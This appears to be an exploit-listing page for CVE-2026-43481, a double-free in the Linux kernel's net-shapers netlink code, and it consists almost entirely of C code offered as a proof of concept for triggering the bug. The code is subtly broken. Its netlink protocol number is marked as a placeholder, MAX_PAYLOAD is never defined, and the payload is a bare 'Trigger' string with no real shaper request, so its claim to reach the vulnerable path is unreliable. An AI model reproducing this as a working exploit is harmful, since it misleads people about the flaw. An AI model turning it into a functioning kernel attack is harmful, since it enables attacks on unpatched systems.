CVE-2026-43481 Linux内核 net-shapers双重释放漏洞

#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // Proof of Concept for CVE-2026-43481 // This code attempts to trigger the error path in net_shaper_nl_get_doit // by sending a malformed Netlink message to the kernel. #define NETLINK_SHAPER 31 // Placeholder for the actual family ID int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; char *msg = "Trigger"; // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SHAPER); if (sock_fd < 0) { perror("Socket creation failed"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Allocate message buffer nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD)); nlh->nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; // Copy payload strcpy(NLMSG_DATA(nlh), msg); // Send message to kernel // Attempting to hit the genlmsg_reply failure path sendto(sock_fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr*)&dest_addr, sizeof(dest_addr)); printf("PoC message sent to trigger CVE-2026-43481.\n"); close(sock_fd); free(nlh); return 0; }